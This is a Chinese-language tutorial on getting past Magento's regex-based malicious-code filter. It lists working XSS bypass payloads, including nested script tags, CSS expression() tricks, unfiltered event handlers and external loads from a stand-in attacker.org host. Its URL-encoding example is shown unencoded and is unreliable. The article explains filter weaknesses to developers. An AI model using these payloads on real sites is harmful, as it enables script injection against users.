標籤:
XSS 攻擊是一種攻擊者將 JavaScript 代碼注入到使用者運行頁面中的攻擊。為了避免這種攻擊,一些應用會嘗試從使用者輸入中移除 JavaScript 代碼,但這很難完全實現。在本文中會先展示一些嘗試過濾 JavaScript 的代碼,並隨後給出其繞過方法。
以一個網上商城應用 Magento 中的過濾類 Mage_Core_Model_Input_Filter_MaliciousCode 為例,部分代碼如下:
protected $_expressions = array( ‘/(\/\*.*\*\/)/Us‘, ‘/(\t)/‘, ‘/(javascript\s*:)/Usi‘, ‘/(@import)/Usi‘, ‘/style=[^<]*((expression\s*?\([^<]*?\))|(behavior\s*:))[^<]*(?=\>)/Uis‘, ‘/(ondblclick|onclick|onkeydown|onkeypress|onkeyup|onmousedown|onmousemove|onmouseout|onmouseover|onmouseup|onload|onunload|onerror)=[^<]*(?=\>)/Uis‘, ‘/<\/?(script|meta|link|frame|iframe).*>/Uis‘, ‘/src=[^<]*base64[^<]*(?=\>)/Uis‘,);function filter($value) { return preg_replace($this->_expressions, ‘‘, $value);}
數組 $_expressions 中包含一系列用於過濾的Regex,然後通過使用 preg_replace 函數進行惡意代碼的過濾。所以當嘗試輸入 <script>foo</script> 時,兩個標籤都會被移除而只剩下 foo。
下面我們來看一下一些繞過的方法。我們的目標是利用一些 HTML 來執行 JavaScript,上述一些Regex是為了過濾如下:
| 過濾的正則 |
可能的利用 |
(javascript\s*:) |
<a href="javascript:alert(‘xss‘)"> |
@import |
@import url(http://attacker.org/malicious.css) |
style=… |
<div style="color: expression(alert(‘XSS‘))"> |
<script… |
<script>alert("XSS")</script>
|
ondblclick|onclick|… |
|
Javascript URL
連結標籤裡可以通過在 URL 中使用 javascript:… 來執行 JavaScript:
<a href="javascript:alert(‘test‘)">link</a>
上面的過濾會從代碼中移除 javascript:,所以我們不能直接這麼寫代碼。但我們可以嘗試改變 javascript:的寫法,使它依舊可以被瀏覽器執行但又不匹配Regex。首先來嘗試下 URL 編碼:
<a href="javascript:alert(‘xss‘)">link</a>
上面這段代碼不匹配Regex,但是瀏覽器依舊會執行它,因為瀏覽器會首先進行 URL 解碼操作。
另外,我們還可以使用 VBScript,雖然它在 IE11 中被禁用了,但依舊可以運行在舊版本的 IE 或者啟用相容模式的 IE11 上。我們可以使用類似上面 JavaScript 的方式來插入 VBScript 代碼:
<a href=‘vbscript:MsgBox("XSS")‘>link</a>
CSS import
IE 瀏覽器支援在 CSS 中擴充 JavaScript,這種技術稱為動態特性(dynamic properties)。允許攻擊者載入一個外部 CSS 樣式表是相當危險的,因為攻擊者現在可以在原始頁面中執行 JavaScript 代碼了。
<style>@import url("http://attacker.org/malicious.css");</style>
malicious.css:
body { color: expression(alert(‘XSS‘));}
為了繞過對 @import 的過濾,可以在 CSS 中使用反斜線進行繞過:
<style>@imp\ort url("http://attacker.org/malicious.css");</style>
IE 瀏覽器會接受反斜線,但是我們繞過了過濾器。
行內樣式(Inline style)
我們同樣可以在行內樣式裡利用 IE 瀏覽器支援的動態特性:
<div style="color: expression(alert(‘XSS‘))">
過濾器會檢查關鍵字 style,隨後跟隨的不能是 <,在隨後是 expression:
/style=[^<]*((expression\s*?\([^<]*?\))|(behavior\s*:))[^<]*(?=\>)/Uis
所以,讓我們需要把 < 放到其他地方:
<div style="color: ‘<‘; color: expression(alert(‘XSS‘))">
這就繞過了過濾器,同時也是一個有效 CSS。儘管 < 不是一個有效顏色,但其他部分都是可以啟動並執行。
JavaScript 事件
我們可以像如下這樣在元素中定義 JavaScript 事件:
<div onclick="alert(‘xss‘)">
這個 JavaScript 代碼當有人點擊它後就會被執行,同時還有其他事件如頁面載入或移動滑鼠都可以觸發這些事件。絕大部分的時間都被過濾器所移除了,但是依舊還有少量事件沒有被過濾,例如,onmouseenter 事件:
<div onmouseenter="alert(‘xss‘)">
當使用者滑鼠移動到 div 上時就會觸發我們的代碼。
另一個繞過的辦法就是在屬性和= 之間插入一個空格。Magento 在新版中依舊修複了這一問題。
<div onclick ="alert(‘xss‘)">
Script 標籤
Script 標籤可以用於定義一個行內的指令碼或者從其他地方載入指令碼:
<script>alert("XSS")</script><script src="http://attacker.org/malicious.js"></script>
而我們的過濾器移除了所有的 <script> 標籤。然而,它只進行一次移除操作,所以我們希望在進行移除操作後保留下我們的目標代碼:
<scr<script>ipt>alert("XSS")</scr<script>ipt>
過濾器會移除兩個 <script> 標籤,而餘下的代碼正是我們所希望得到的。事實上,這種嵌套的方法可以用來繞過所有基於Regex的過濾。
總結
儘管過濾器試圖儘可能的阻止指令碼注入,但我們還是發現了繞過它們的方法。要建立一個防止 XSS 攻擊的過濾器是相當不容易的,需要同時考慮多類型的編碼和一些不同瀏覽器的特性。這就使得它對開發人員來說非常困難,但是對攻擊者來說卻很容易。
XSS過濾器Bypass的一些姿勢